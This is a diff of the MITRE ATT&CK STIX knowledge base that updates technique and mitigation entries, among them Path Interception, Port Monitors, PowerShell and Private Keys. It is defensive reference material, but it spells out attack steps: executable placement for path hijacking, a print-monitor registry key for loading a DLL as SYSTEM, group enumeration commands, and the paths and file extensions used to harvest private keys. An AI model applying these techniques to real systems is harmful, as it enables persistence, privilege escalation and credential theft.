-            "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
+            "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9117,37 +9531,26 @@
             "x_mitre_contributors": [
                 "Stefan Kanthak"
             ],
-            "x_mitre_effective_permissions": [
-                "User",
-                "Administrator",
-                "SYSTEM"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_effective_permissions": [
+                "User",
+                "Administrator",
+                "SYSTEM"
+            ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Peripheral Device Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -9188,9 +9591,9 @@
             "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:28.471Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Peripheral Device Discovery",
-            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9213,26 +9616,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Permission Groups Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -9273,9 +9665,9 @@
             "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:55.471Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Permission Groups Discovery",
-            "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9297,33 +9689,21 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Plist Modification Mitigation",
             "description": "Prevent plist files from being modified by users by making them read-only.",
             "external_references": [
@@ -9339,9 +9719,9 @@
             "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Plist Modification",
-            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism (Citation: Sofacy Komplex Trojan).\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
+            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9386,16 +9766,101 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Port Monitors Mitigation",
+            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1013",
+                    "external_id": "T1013"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2017-05-31T21:30:26.057Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Port Monitors",
+            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1013",
+                    "external_id": "T1013"
+                },
+                {
+                    "source_name": "AddMonitor",
+                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
+                    "url": "http://msdn.microsoft.com/en-us/library/dd183341"
+                },
+                {
+                    "source_name": "Bloxham",
+                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
+                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
+                },
+                {
+                    "source_name": "TechNet Autoruns",
+                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
+            ],
+            "x_mitre_data_sources": [
+                "File monitoring",
+                "API monitoring",
+                "DLL monitoring",
+                "Windows Registry",
+                "Process monitoring"
+            ],
+            "x_mitre_effective_permissions": [
+                "SYSTEM"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PowerShell Mitigation",
             "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
             "external_references": [
@@ -9416,9 +9881,9 @@
             "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:06.512Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PowerShell",
-            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
+            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9475,28 +9940,17 @@
                 "User",
                 "Administrator"
             ],
+            "x_mitre_remote_support": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
-            "x_mitre_remote_support": true
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Private Keys Mitigation",
             "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.",
             "external_references": [
@@ -9512,9 +9966,9 @@
             "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Private Keys",
-            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
